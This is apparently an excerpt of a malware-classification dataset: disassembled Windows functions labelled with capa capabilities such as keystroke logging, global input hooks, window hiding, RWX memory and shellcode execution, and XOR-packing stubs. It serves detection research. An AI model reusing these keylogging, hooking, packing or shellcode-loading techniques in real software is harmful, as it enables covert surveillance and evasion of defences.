joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43fdec
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x45a13c]
cmp byte [eax + 0xc], 0
je 0x43ff59
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43ff52
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45bbb8], 0
jne 0x43fe40
push 0x43ff60
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x43ff68
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbb8], eax
cmp dword [0x459aac], 0
jne 0x43ff3b
push 0x43ff78
call sub.kernel32.dll_LoadLibraryA
mov dword [0x459aac], eax
cmp dword [0x459aac], 0
je 0x43ff3b
push 0x43ff84
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbbc], eax
push 0x43ff94
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbc0], eax
push 0x43ffa8
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbc4], eax
push 0x43ffc0
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbc8], eax
push 0x43ffd8
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbcc], eax
push 0x43ffec
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbd0], eax
push 0x440004
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbd4], eax
push 0x44001c
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbd8], eax
push 0x440038
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbdc], eax
push 0x440044
mov eax, dword [0x459aac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bbe0], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43ff59
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x444174
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004042a0
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x4441c3
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404508
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44c010
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44c060]
test si, 4
je 0x44c024
or bl, 1
test si, 8
je 0x44c02e
or bl, 4
test si, 1
je 0x44c038
or bl, 8
test si, 2
je 0x44c042
or bl, 0x10
test si, 0x10
je 0x44c04c
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c05b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44c064
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44c09c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c07d
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c08c
or bl, 4
test esi, 0x20000000
je 0x44c097
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4526b8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4526ca
add esp, 0xfffffff0
call fcn.00403898
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004205b0
mov eax, dword [0x459e34]
mov dword [eax + 4], ebx
mov dword [eax], 0x452a5c
mov eax, dword [0x459e40]
mov dword [eax + 4], ebx
mov dword [eax], 0x452a68
mov eax, ebx
call fcn.00452a74
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x416558]
call fcn.00403504
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x416558]
call fcn.00403504
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x416558]
call fcn.00403504
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x416558]
call fcn.00403504
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x416558]
call fcn.00403504
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44ef3c
push eax
push 0
push 0
mov eax, dword [0x459f68]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x421fc0]
call fcn.004236d4
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x421fc0]
call fcn.004236d4
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x421fc0]
call fcn.004236d4
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00452e94
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x452d70
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x452d70
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x452d70
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x452807
call fcn.004038f0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x452b54
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x452cff
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x452ce0
mov dl, 1
mov eax, dword [0x416a48]
call fcn.00403504
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004042a0
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x452ccf
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044014c
test al, al
je 0x452cc2
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x452d10
lea eax, [ebp - 0x254]
call fcn.00408f7c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x452cc2
xor eax, eax
push ebp
push 0x452cbb
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x452d48
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x452ca4
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404508
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x452ca4
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404508
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452cc2
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x452bc5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041abbc
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452d06
lea eax, [ebp - 0x260]
call fcn.004042a0
ret

Function at 0x453634
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45bbfc]
cmp byte [eax + 0xa5], 0
jne 0x4536a5
cmp dword [0x45bc14], 0
jne 0x453666
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4535f0
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45bc14], eax
cmp dword [0x45bc10], 0
jne 0x453681
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45bc10], eax
cmp dword [0x45bc18], 0
jne 0x4536a5
push esp
push 0
push 0
push 0x453594
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x45bc18], eax
pop edx
ret
Function at 0x45379c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4537b3
add esp, 0xfffffff0
call fcn.00403898
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004205b0
mov eax, dword [0x459f58]
cmp word [eax + 2], 0
jne 0x4537db
mov eax, dword [0x459f58]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00454dd0
mov eax, dword [0x459ff0]
cmp word [eax + 2], 0
jne 0x4537f5
mov eax, dword [0x459ff0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00454fc8
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x416558]
call fcn.00403504
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x416558]
call fcn.00403504
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x422a40]
call fcn.00429e20
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45397c
mov eax, dword [0x459e90]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042a1f0
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x455538
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x459e90]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040b2a4
test eax, eax
je 0x4538ea
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004088d8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040b2cc
test eax, eax
je 0x4538fe
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404508
mov eax, dword [0x459d90]
cmp byte [eax], 0
jne 0x453932
mov eax, ebx
call fcn.00453aa4
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00455714
mov eax, ebx
call fcn.004560c4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x453972
call fcn.004038f0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x453d18
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45bbfc]
cmp dword [eax + 0x30], 0
je 0x453dc2
cmp dword [ebx + 0x94], 0
jne 0x453dbc
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x453ca8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x453dbc
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x453d82
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x453dbc
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418bf8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x453d91
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4548a0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4548d5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404390
jmp 0x4548e2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004042f4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4558f0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x455931
mov eax, esi
call fcn.0043b888
test al, al
je 0x455931
mov eax, dword [ebx + 0x84]
call fcn.0043b584
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x455931
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043b584
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x40a4c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x412250], 0
push esi
push edi
jne 0x40a436
call fcn.0040a3a2
test eax, eax
je 0x40a47b
mov eax, dword [0x412250]
cmp eax, 1
jne 0x40a457
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40a47b
jmp 0x40a4bd
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x40a4bd
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40a47f
xor eax, eax
jmp 0x40a4bd
mov eax, dword [esi]
push dword [0x412250]
call edi
mov edi, eax
test edi, edi
je 0x40a4a1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x40a4bd
lea edi, [esi + 0xff0]
push esi
push dword [0x412250]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x40a4a7
mov eax, esi
pop edi
pop esi
ret
jmp 0x40a422

Function at 0x40a788
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412120]
jne 0x40a792
repz ret
jmp fcn.0040adba

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
nop
nop
mov ebx, 0x40915c
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x183a7683
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x431060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x4310d2
nop
nop
nop
nop
nop
mov ebx, 0x42f3f8
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x2bf704ee
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40153a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push ebx
push esi
push edi
call sub.KERNEL32.dll_GetTickCount
lea eax, [ebp - 0x104]
push eax
push 0x104
call sub.KERNEL32.dll_GetTempPathA
cmp byte [ebp - 0x104], 0
jne 0x4016a4
sbb al, 0x9c
pop es
add byte [edi + 0x5e], bl
pop ebx
pop ebp
ret 8
cmp byte [ebp - 0x104], 0
jne 0x4017f1
inc ebp
in al, dx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x44498f
push 0
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_GetFileAttributesExA
call sub.KERNEL32.dll_GetLastError
mov edi, eax
cmp dword [0x42406a], 0
je 0x40181c
mov ebx, edi
add ebx, edi
jmp 0x40181e
mov ebx, edi
mov esi, ebx
and esi, 0xffffffa8
or edi, edi
jne 0x40197b
test eax, eax
jne 0x5b334f
push dword [ebp + 0x10]
push edi
push esi
call fcn.004016d9
mov esi, eax
lea ecx, [ebp - 0x18]
call 0x44d3b6
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call 0x4b56f9
leave
ret 0xc
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4014aa
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
enter 4, 0
push eax
mov cl, byte [ebp - 8]
mov edx, dword [0x40f050]
mov ebx, eax
mov eax, 0x40f054
shl edx, cl
call fcn.004013e6
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp - 8]
or dl, 0x40
mov esi, 0x401ec4
push edx
sub esi, fcn.0040168f
push esi
xor eax, eax
push fcn.0040168f
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x401518
mov ebx, dword [ebp - 8]
mov eax, fcn.0040168f
mov edx, esi
call fcn.004013e6
mov ebx, dword [ebp - 8]
mov edx, 0x1b600
mov eax, 0x40f054
call fcn.004012f1
leave
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x4015d7
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebx
push ecx
push edx
enter 0x13c, 0
xor eax, eax
push eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x7f00
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x1c], 6
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.DLL_LoadCursorA]
push 0x7f00
push 0
mov dword [ebp - 0x20], eax
call dword [sym.imp.USER32.DLL_LoadIconA]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.USER32.DLL_RegisterClassW]
push 0
push 0
call dword [sym.imp.USER32.DLL_LoadAcceleratorsA]
push 0
call dword [sym.imp.OLE32.DLL_CoInitialize]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
push 1
lea eax, [ebp - 0x13c]
push eax
mov dword [ebp - 4], 0xa
mov byte [ebp - 0x13c], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringA]
movzx eax, byte [ebp - 0x10]
lea ebx, [eax - 0x47]
call dword [sym.imp.OLE32.DLL_CoUninitialize]
mov eax, dword [ebp - 4]
add eax, ebx
leave
pop edx
pop ecx
pop ebx
ret
Function at 0x401c2e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
and byte [ebp - 0x100], 0
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 8
lea eax, [ebp - 0x100]
push 0x404008
push eax
call fcn.00401ca0
mov ecx, 0x401bdc
mov eax, 0x4017fd
sub ecx, eax
push ecx
push eax
lea eax, [ebp - 0x100]
push eax
call fcn.00401d18
push 0x100
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.004020d0
add esp, 0x24
call fcn.00401846
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x24911449
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x6b475c01
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10169e31
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x10180818]
add esi, 0x647
mov dword [0x10180814], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1016b636]
mov dh, byte [eax + 0x1016b607]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x10169e5b
lea eax, [ebp - 0x24]
mov dword [0x10180814], 0x16fa
mov dword [0x10180818], 0xec7
mov dword [ebp - 0x34], eax
call fcn.10169ca4
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.1016980a
mov dword [0x10180814], 0x632
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x10169f71
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10180814]
add ecx, 0xffffe677
mov dword [0x10180814], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.1016a2c4
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x14], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x38], ecx
mov dword [0x10180814], 0x828
add ecx, 0x13e7
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x10169f68
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x10169f8e
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov dword [ebp - 0x10], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov edx, dword [0x10180814]
add edx, 0xffffda67
mov dword [0x10180818], edx
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10180814], 0x2653
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
jmp 0x1016a051
mov dword [0x10180818], 0xfffff470
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1016a0c7
jmp 0x1016a011
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x28], eax
jl 0x1016a051
jmp 0x1016a07a
xor eax, eax
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [0x10180814], 0x59b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1016a0a5
jmp 0x1016a011
mov dword [0x10180814], 0x1a80
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1016a01b
jmp 0x1016a011
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edx
je 0x1016a07a
jmp 0x10169ff8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1016a036
jmp 0x1016a011
mov eax, dword [ebp - 0x28]
mov dword [0x10180818], 0x2ce7
mov dword [0x10180814], 0x711
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
je 0x1016a069
jmp 0x1016a011
mov dword [0x10180814], 0x15f7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x10169fd9
jmp 0x1016a011
mov eax, 0x198e
mov ecx, 0x1f4c
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x20]
mov di, word [edx + esi*2 - 0xe]
cmp di, 0x6c
sete bl
cmp di, 0x6c
mov byte [ebp - 0x29], bl
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], eax
je 0x1016a0fa
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [0x10180814], eax
mov cl, byte [ebp - 0x29]
and cl, 1
movzx eax, cl
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret